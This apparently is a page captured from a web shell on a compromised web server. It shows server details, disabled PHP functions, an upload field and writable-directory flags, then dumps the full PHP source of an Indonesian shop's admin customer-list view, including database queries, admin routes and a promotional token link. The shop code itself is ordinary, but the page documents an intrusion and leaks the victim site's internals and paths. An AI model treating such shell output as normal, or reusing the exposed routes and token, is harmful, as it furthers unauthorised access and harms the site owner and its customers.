https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin/customers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin/customers/index.php
<?= $this->session->unset_userdata('location_add_customer'); ?>
<div class="row">
    <div class="col-sm-12">
        <p><a href="<?= base_url('admin/customer_index'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke
                Pelanggan</a></p>
        <h2>Pelanggan</h2>
        <?= $this->session->flashdata('success'); //to display success message 
        ?>
        <?= $this->session->flashdata('result'); //to display result message 
        ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<div class="row">
    <!-- <div class="col-sm-12">
        <p><a href="<?= base_url('admin/customer_excel_export'); ?>"><img src="<?= base_url('assets/admin/img/excel-icon.png'); ?>"> EKSPOR KE MS EXCEL</a></p>
        <p>(Ekspor ini ke file excel)</p>
    </div> -->
    <!-- <div class="col-sm-12">
        <h3>Unggah Pelanggan Massal</h3>
        <p>DATA PELANGGAN UPLOAD. SETUJUI HANYA CSV. HARAP SIMPAN EXCEL AS CSV. PENGGUNAAN CSV, SEBAGAI PEMISAHAN.</p> -->
    <!-- <p>PS: Products data with same SKU will be updated.</p> -->

    <!--   <?php
            $attributes = array(
                'name' => 'uploadcsv',
                'id' => 'uploadcsv'
            );
            ?>
        <?= form_open_multipart('admin/customers/upload_customers', $attributes); ?>
            <table>
                <tr>
                    <td> UNGGAH PELANGGAN DATA CSV: </td>
                    <td>
                        <div class="form-group">
                            <input style="float:left; width:60%;" type="file" class="form-control" name="userfile" id="userfile"  align="center"/><input type="submit" name="upload_csv" class="btn btn-info" value="UPLOAD">
                        </div>
                    </td>
                </tr>
            </table> 
        </form> -->
    <!-- <p>Catatan: Selama Upload, harap tunggu hingga proses selesai. Jangan tutup jendela saat ini.</p> -->
    <!-- </div> --><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<div class="row">
    <?= form_open('admin/customers'); ?>
    <div class="col-sm-3">
        <?php
        $options = array(
            'by_name'  => 'Name',
            'by_email'  => 'Email',
            'by_gender'  => 'Gender',
            'by_age'  => 'Umur',
            'by_product'  => 'Product',
            'by_phone'  => 'Phone',
            'by_birth_month' => 'Birth Month',
            'by_birth_year' => 'Birth Year'
        );
        echo form_dropdown('search_by', $options, $search_by, 'class="form-control"');
        ?>
    </div>
    <div id="myform"></div>
    <div class="col-sm-6">
        <input class="form-control" type="text" placeholder="Masukkan nama customer, contoh: Budi" id="customer-input" name="customer" <?php if (isset($keyword)) : ?> value="<?= ucwords($keyword); ?>" <?php endif; ?>>
    </div><!-- end class="col-sm-8" -->



    <div class="col-sm-3">
        <input class="btn btn-primary form-control" type="submit" name="search_customer" value="Cari Pelanggan">
    </div><!-- end class="col-sm-6" -->
    <?= form_close(); ?>
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-12">
        <?= $this->session->flashdata('flash_search_by'); ?>
        <p><?= anchor('admin/customers/add', '<i class="fa fa-plus" aria-hidden="true"></i> TAMBAH PELANGGAN BARU'); ?></p>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->
<button id="btnExport" class="btn btn-primary" onclick="fnExcelReport();" style="float: left;"> Export Excel </button>
<a style="float: right;" class="btn btn-success" href="<?= base_url('admin/customers/best'); ?>"><i class="fa fa-signal" aria-hidden="true"></i> Ranking Customer</a>

<div class="row">
    <div class="col-sm-12">
        <div class="table-responsive">
            <table id="example" class="table table-striped">
                <thead>
                    <tr>
                        <th>Nama Pelanggan</th>
                        <th>Umur</th>
                        <th>Jenis Kelamin</th>
                        <th>HP/Telepon</th>
                        <th>E-mail</th>
                        <th>Tanggal Bergabung</th>
                        <th>Total Beli (Rp)</th>
                        <!-- <th>Tipe Reseller</th> -->
                        <th>Status</th>
                        <th>Lihat Info</th>
                        <th>Apakah ingin Hapus?</th>
                        <th>Aksi</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if (count($customers)) : ?>
                        <?php foreach ($customers as $customer) : ?>
                            <tr>
                                <td><?= ucfirst($customer->name); ?></td>
                                <td><?= $customer->age ?></td>
                                <td><?= ucfirst($customer->sex_type); ?></td>
                                <td><?= ucfirst($customer->phone); ?></td>
                                <td><a href="mailto:<?= $customer->email; ?>"><?= ucfirst($customer->email); ?></a></td>
                                <td>
                                    <?php
                                    $join_date = date('d M Y', strtotime($customer->join_date));
                                    echo $join_date;
                                    ?>
                                </td>
                                <td>
                                    <?php
                                    //get total purchase
                                    $total_purchase = 0;
                                    $this->db->select('*')->from('orders')->where('customer_id', $customer->id_customers)->group_start()->where('payment_status', 3)->or_where('payment_status', 4)->or_where('payment_status', 5)->group_end();
                                    $purchases = $this->db->get()->result();
                                    foreach ($purchases as $purchase) {
                                        $grand_total = (($purchase->total_amount - $purchase->redeemed_voucher_amount - $purchase->minus_reward_amount) + ($purchase->shipping_fee - $purchase->free_shipping_fee));
                                        if ($grand_total > 0) {
                                            $total_purchase = $total_purchase + $grand_total;
                                        }
                                    }
                                    echo number_format($total_purchase);
                                    ?>
                                    <a href="<?= base_url() . 'admin/orders/customer/' . $customer->id_customers; ?>" target="_blank"><br><i class="fa fa-eye" aria-hidden="true"></i> Lihat</a>
                                </td>
                                <!-- <td>
                                <?php
                                $resellers_name = $this->db->select('reseller_name')->from('resellers')->where('id_resellers', $customer->reseller_id)->get()->row();
                                if ($resellers_name == NULL) {
                                    $tampil = "Regular";
                                } else {
                                    $tampil = $resellers_name->reseller_name;
                                }
                                ?>
                               <?= ucwords($tampil); ?>
                            </td> -->
                                <td>
                                    <?php if ($customer->status == 1) : ?>
                                        Aktif
                                    <?php else : ?>
                                        Tidak Aktif
                                    <?php endif; ?>
                                </td>
                                <td><?= bt_edit('admin/customers/edit/' . $customer->id_customers); ?></td>

                                <td><?= bt_delete('admin/customers/delete/' . $customer->id_customers); ?></td>
                                <td>
                                    <?php if (!empty($customer->phone)) : ?>
                                        <?php
                                        // Menghilangkan angka 0 di depan nomor telepon
                                        $formatted_phone = ltrim($customer->phone, '0');
                                        $message = rawurlencode("HAPPY BIRTHDAY🥳\n\nSebagai \"little treat\" dari Laci Asmara, spesial untuk kamu yang berulang tahun dibulan Oktober ini.\n\nAmbil hadiah kamu dari Laci Asmara disini\nhttps://www.laciasmara.com/shop/SpinWheel?token=J5K2L4\n\nCaranya gampang banget, tinggal klik link yang kami lampirkan ini lalu mainkan spin wheelnya dan otomatis kado itu akan menjadi milik kamu🫶🏻\n\nHanya berlaku untuk satu kali permainan dibulan Oktober ini ya");
                                        ?>
                                        <a href="https://api.whatsapp.com/send?phone=62<?= $formatted_phone; ?>&text=<?= $message; ?>" target="_blank" class="btn btn-success">
                                            <i class="fa fa-whatsapp" aria-hidden="true"></i>
                                        </a>
                                    <?php else : ?>
                                        <button class="btn btn-secondary" disabled>
                                            <i class="fa fa-exclamation-circle" aria-hidden="true"></i>
                                        </button>
                                    <?php endif; ?>
                                </td>

                            </tr>
                        <?php endforeach; ?>
                    <?php else : ?>
                        <tr>
                            <td colspan="3">Kami tidak dapat menemukan pelanggan apa pun.</td>
                        </tr>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-12">
        <?php if (isset($use_pagination)) : ?>
            <?php
            //create pagination...
            echo '<p style="text-align:center;">' . $this->pagination->create_links() . '</p>';
            ?>
        <?php endif; ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<iframe id="txtArea1" style="display:none"></iframe>


<script>
    const placeholders = [
        "Masukkan email, contoh: budi@example.com",
        "Masukkan gender, misalnya: male",
        "Masukkan umur, misalnya: 21",
        "Masukkan id product, misalnya: 81",
        "Masukkan nomor telepon, misalnya: 8529981231",
        "Masukkan bulan lahir, misalnya: 10",
        "Masukkan tahun lahir, misalnya: 1945",
    ];

    let currentIndex = 0;

    // Fungsi untuk mengganti placeholder
    function changePlaceholder() {
        // Ganti placeholder input
        document.getElementById('customer-input').placeholder = placeholders[currentIndex];

        // Update index untuk placeholder selanjutnya
        currentIndex = (currentIndex + 1) % placeholders.length;
    }

    setInterval(changePlaceholder, 2000);

    function fnExcelReport() {
        var tab_text = "<table border='2px'><tr bgcolor='#87AFC6'>";
        var textRange;
        var j = 0;
        tab = document.getElementById('example'); // id of table

        for (j = 0; j < tab.rows.length; j++) {
            tab_text = tab_text + tab.rows[j].innerHTML + "</tr>";
            //tab_text=tab_text+"</tr>";
        }

        tab_text = tab_text + "</table>";
        tab_text = tab_text.replace(/<A[^>]*>|<\/A>/g, ""); //remove if u want links in your table
        tab_text = tab_text.replace(/<img[^>]*>/gi, ""); // remove if u want images in your table
        tab_text = tab_text.replace(/<input[^>]*>|<\/input>/gi, ""); // reomves input params

        var ua = window.navigator.userAgent;
        var msie = ua.indexOf("MSIE ");

        if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) // If Internet Explorer
        {
            txtArea1.document.open("txt/html", "replace");
            txtArea1.document.write(tab_text);
            txtArea1.document.close();
            txtArea1.focus();
            sa = txtArea1.document.execCommand("SaveAs", true, "Say Thanks to Sumit.xls");
        } else //other browser not tested on IE 11
            sa = window.open('data:application/vnd.ms-excel,' + encodeURIComponent(tab_text));

        return (sa);
    }
</script>

https://t.me/RX1948 - 2025